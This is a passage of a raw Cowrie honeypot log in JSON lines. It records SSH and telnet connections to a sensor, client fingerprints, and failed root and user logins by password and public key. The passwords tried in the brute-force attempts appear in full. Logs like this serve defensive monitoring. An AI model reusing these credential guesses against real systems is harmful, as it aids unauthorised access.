":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:12.870574Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100001","message":"login attempt [user/100001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:13.352805Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.486931562423706,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:14.023183Z","src_ip":"135.148.14.151","session":"eacc76af600d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"091286","message":"login attempt [user/091286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:14.458441Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09121991","message":"login attempt [user/09121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:15.565334Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09121980","message":"login attempt [user/09121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:16.672406Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.130539894104004,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:16.967281Z","src_ip":"135.148.14.151","session":"5bf690d91004","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"0912","message":"login attempt [user/0912] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:17.777974Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:18.893672Z","src_ip":"2.57.121.25","session":"b8d50aba433d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33854,"dst_ip":"159.203.135.109","dst_port":23,"session":"919bf3e91e6e","protocol":"telnet","message":"New connection: 135.148.14.151:33854 (159.203.135.109:23) [session: 919bf3e91e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:23.243116Z"}
{"eventid":"cowrie.session.closed","duration":0.016973495483398438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:23.259954Z","src_ip":"135.148.14.151","session":"919bf3e91e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50194,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3f5063d58de","protocol":"telnet","message":"New connection: 135.148.14.151:50194 (159.203.135.109:23) [session: c3f5063d58de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:27.917737Z"}
{"eventid":"cowrie.session.closed","duration":34.45904779434204,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:33.391401Z","src_ip":"135.148.14.151","session":"d21d6b2af534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":40658,"dst_ip":"159.203.135.109","dst_port":22,"session":"9319bff0bcc9","protocol":"ssh","message":"New connection: 45.147.249.81:40658 (159.203.135.109:22) [session: 9319bff0bcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:38.652750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:38.658468Z","src_ip":"45.147.249.81","session":"9319bff0bcc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:38.731081Z","src_ip":"45.147.249.81","session":"9319bff0bcc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"year2025","message":"login attempt [root/year2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:39.053070Z","src_ip":"45.147.249.81","session":"9319bff0bcc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:40.128789Z","src_ip":"45.147.249.81","session":"9319bff0bcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56520,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b42d57e1015","protocol":"telnet","message":"New connection: 135.148.14.151:56520 (159.203.135.109:23) [session: 3b42d57e1015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:42.560225Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f072a60588b3","protocol":"telnet","message":"New connection: 135.148.14.151:59888 (159.203.135.109:23) [session: f072a60588b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:44.246158Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37652,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e7c53ee2d10","protocol":"telnet","message":"New connection: 135.148.14.151:37652 (159.203.135.109:23) [session: 2e7c53ee2d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:32:57.962339Z"}
{"eventid":"cowrie.session.closed","duration":33.00332856178284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:00.920950Z","src_ip":"135.148.14.151","session":"c3f5063d58de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00295805931091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:02.614281Z","src_ip":"135.148.14.151","session":"e78428a66ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44674,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd2814c97b0a","protocol":"telnet","message":"New connection: 135.148.14.151:44674 (159.203.135.109:23) [session: cd2814c97b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:13.418575Z"}
{"eventid":"cowrie.session.closed","duration":35.34822368621826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:17.908314Z","src_ip":"135.148.14.151","session":"3b42d57e1015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47410,"dst_ip":"159.203.135.109","dst_port":23,"session":"194d3da26caf","protocol":"telnet","message":"New connection: 135.148.14.151:47410 (159.203.135.109:23) [session: 194d3da26caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:18.115968Z"}
{"eventid":"cowrie.session.closed","duration":35.19010925292969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:19.436133Z","src_ip":"135.148.14.151","session":"f072a60588b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.0216543674469,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:24.487028Z","src_ip":"135.148.14.151","session":"989a47144e5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47704,"dst_ip":"159.203.135.109","dst_port":23,"session":"3785d6871192","protocol":"telnet","message":"New connection: 135.148.14.151:47704 (159.203.135.109:23) [session: 3785d6871192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:25.728357Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49116,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb8b4a7574c","protocol":"telnet","message":"New connection: 135.148.14.151:49116 (159.203.135.109:23) [session: 2bb8b4a7574c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:28.765603Z"}
{"eventid":"cowrie.session.closed","duration":35.27628183364868,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:33.238478Z","src_ip":"135.148.14.151","session":"2e7c53ee2d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.37.251","src_port":57968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7691c642dee8","protocol":"ssh","message":"New connection: 68.235.37.251:57968 (10.17.0.5:22) [session: 7691c642dee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.153470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.158855Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56428,"dst_ip":"10.17.0.5","dst_port":22,"session":"516820b44169","protocol":"ssh","message":"New connection: 109.237.96.109:56428 (10.17.0.5:22) [session: 516820b44169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.189254Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.194844Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.211483Z","src_ip":"109.237.96.109","session":"516820b44169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.286713Z","src_ip":"109.237.96.109","session":"516820b44169","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:3e:dd:0c:47:ee:95:4d:c9:4b:70:87:73:b4:d3:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDBMjmz0ZARrIPxOZF+ZShaZly8lpTBdvvGWcX7yM0o0FOcB6kvBwzZKjIwhM1yh5cfr/gHbNV12ZwvkdHTGFBz7JpkI+znGSsRySoHVILfKnuZ0ksHe0RyCBs9WnoZvCvLm1ixApYlWA8byXONh33WIK966WeJRmGrlcjd0cEWnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:3e:dd:0c:47:ee:95:4d:c9:4b:70:87:73:b4:d3:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.328823Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:3e:dd:0c:47:ee:95:4d:c9:4b:70:87:73:b4:d3:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDBMjmz0ZARrIPxOZF+ZShaZly8lpTBdvvGWcX7yM0o0FOcB6kvBwzZKjIwhM1yh5cfr/gHbNV12ZwvkdHTGFBz7JpkI+znGSsRySoHVILfKnuZ0ksHe0RyCBs9WnoZvCvLm1ixApYlWA8byXONh33WIK966WeJRmGrlcjd0cEWnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.333182Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:0f:bd:21:95:d9:99:97:16:33:59:8a:1d:4d:dc:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6PuU1t51RIWp0PkA/czUMd2bW30DXU+CGOZbkfsur33x6RhNeBDwF/jZ6xAfzHKqlB0D48vnMGJ/AYZ7zhwxKKam8y/5n555fCxBTj/jtK/MekGdM69jMiEAZXxMVcahwqn8LeetzXHb/cVraRc808ngj3sYrnRDtNsDcc1yDi5F5OsyA0glvxgPIJWdHHB0MU4Gt/wggp5BNheAnJscAWp0bDp9kGbsfKTn8gl7JF9LDOhRd/wsHT3mPb4yNbuQCto5BHsiBpiHAzTHraBX3sApKfK22QgemUqRzQgX+kFric30JgtzEtNXOdThw9M3xgN3UZ/BsYRhl30bP0EtAIUJwPawk+tUIWKrEyJQiLI6PyqROo6U6oFJIO+i5ZEgQ51rBp+4uF1TjXc2Y0NxndC4NIy0GXUB1EuV/CVcBwaU8utoi5XYIes/BQ5+DnP8/TgVTBDUgKEZVqqvWrCLJ/ozmYg9p2I6bCBLEiptq7uxzN1SnCE9NhwoEKp1fCJvK4FVxbfgRVD6rjM5aCF7pkmfHkeRWH3mA81lam0zfjP5rrlbn8n+xKplnsodMpcA22H2dcsrkDaMyXEPzyDipn8R3t5LvYdcysjOlbZEWSbg2Ev0w15/ckUxVuekUpobQNTgcvsGc4nVLmYxtZk5brHYJKadTz5K9mYZjjNYJew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:0f:bd:21:95:d9:99:97:16:33:59:8a:1d:4d:dc:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.364787Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:0f:bd:21:95:d9:99:97:16:33:59:8a:1d:4d:dc:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6PuU1t51RIWp0PkA/czUMd2bW30DXU+CGOZbkfsur33x6RhNeBDwF/jZ6xAfzHKqlB0D48vnMGJ/AYZ7zhwxKKam8y/5n555fCxBTj/jtK/MekGdM69jMiEAZXxMVcahwqn8LeetzXHb/cVraRc808ngj3sYrnRDtNsDcc1yDi5F5OsyA0glvxgPIJWdHHB0MU4Gt/wggp5BNheAnJscAWp0bDp9kGbsfKTn8gl7JF9LDOhRd/wsHT3mPb4yNbuQCto5BHsiBpiHAzTHraBX3sApKfK22QgemUqRzQgX+kFric30JgtzEtNXOdThw9M3xgN3UZ/BsYRhl30bP0EtAIUJwPawk+tUIWKrEyJQiLI6PyqROo6U6oFJIO+i5ZEgQ51rBp+4uF1TjXc2Y0NxndC4NIy0GXUB1EuV/CVcBwaU8utoi5XYIes/BQ5+DnP8/TgVTBDUgKEZVqqvWrCLJ/ozmYg9p2I6bCBLEiptq7uxzN1SnCE9NhwoEKp1fCJvK4FVxbfgRVD6rjM5aCF7pkmfHkeRWH3mA81lam0zfjP5rrlbn8n+xKplnsodMpcA22H2dcsrkDaMyXEPzyDipn8R3t5LvYdcysjOlbZEWSbg2Ev0w15/ckUxVuekUpobQNTgcvsGc4nVLmYxtZk5brHYJKadTz5K9mYZjjNYJew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.369130Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:d1:78:59:11:96:61:a8:37:07:6d:5c:c8:28:58:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC71mkKRnJz5zr+cRT4T3mkDOQSSDoqH5xdshQuD60E4pWxhg+WDdnDhCMd1Y2gl0a/58xQIDo85lpelyola32aFg6idBsqYIhKdwT5c62Ut/VaP17FMfepR4xpyIs3FYt0qV7RHpNDo885BxHOaPwvYGliyUroDRpie3lRanYdGlJcey/Um4p39YKeWKLMjKhLxBE9xxL4LKBwFGhyvfQXNiMZ++rbYlDlEd299wF74BTXa+5oNp1XttMxWhKAcABEWJbENyydQaGgABU16pf/ca2NL2iTBjhih4RXUVg6jWibEbC/DnGpDd4eFB7hIk1KkgiHAuNw17QwCAt3Z/4F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:d1:78:59:11:96:61:a8:37:07:6d:5c:c8:28:58:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.401204Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:d1:78:59:11:96:61:a8:37:07:6d:5c:c8:28:58:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC71mkKRnJz5zr+cRT4T3mkDOQSSDoqH5xdshQuD60E4pWxhg+WDdnDhCMd1Y2gl0a/58xQIDo85lpelyola32aFg6idBsqYIhKdwT5c62Ut/VaP17FMfepR4xpyIs3FYt0qV7RHpNDo885BxHOaPwvYGliyUroDRpie3lRanYdGlJcey/Um4p39YKeWKLMjKhLxBE9xxL4LKBwFGhyvfQXNiMZ++rbYlDlEd299wF74BTXa+5oNp1XttMxWhKAcABEWJbENyydQaGgABU16pf/ca2NL2iTBjhih4RXUVg6jWibEbC/DnGpDd4eFB7hIk1KkgiHAuNw17QwCAt3Z/4F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.405149Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:22:06:b0:f0:23:a4:b7:9a:56:ec:30:3f:7c:00:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKOu0wXMed1XHzhAfupSUuBUaaoBIhvNf8sd3ANTITCo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:22:06:b0:f0:23:a4:b7:9a:56:ec:30:3f:7c:00:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.440599Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:22:06:b0:f0:23:a4:b7:9a:56:ec:30:3f:7c:00:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKOu0wXMed1XHzhAfupSUuBUaaoBIhvNf8sd3ANTITCo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.445305Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:ca:38:ab:dc:76:37:73:71:e3:db:c7:d2:24:d3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfmBCHdnGOuaz8+QM6iT+GmUwkNQn7NMkNzvmLMu0mTdx+9Ljrt8qOQolAZqqVYo5K/f2zITTcyTo8JjxcUyE+cOcfIXKGe9v/LXnwpNRn+IQVdltf7pCzsgUNf/UDqtNarStdSuK0vlldAu70gzq8CqZH0nxuFjtAb171UAsnCG2DsHR0MjZiONIXBUrrJhp8Prs9VHIOtZDh4oCx/TCeImwXvddkLpYAhs9iIiBECVmvOvbwfVjEbt2Fs+ntLYMY0vic8xtLi3jyOMbUWoKqgqrPRPCPAQbfUbxOy95BLP4lXY5ARgIpMEQ3DVj/rEFHCeYag+XBUZEZ9ZUH49sB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:ca:38:ab:dc:76:37:73:71:e3:db:c7:d2:24:d3:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:33:41.480234Z","src_ip":"68.235.37.251","session":"7691c642dee8","protocol":"ssh"}
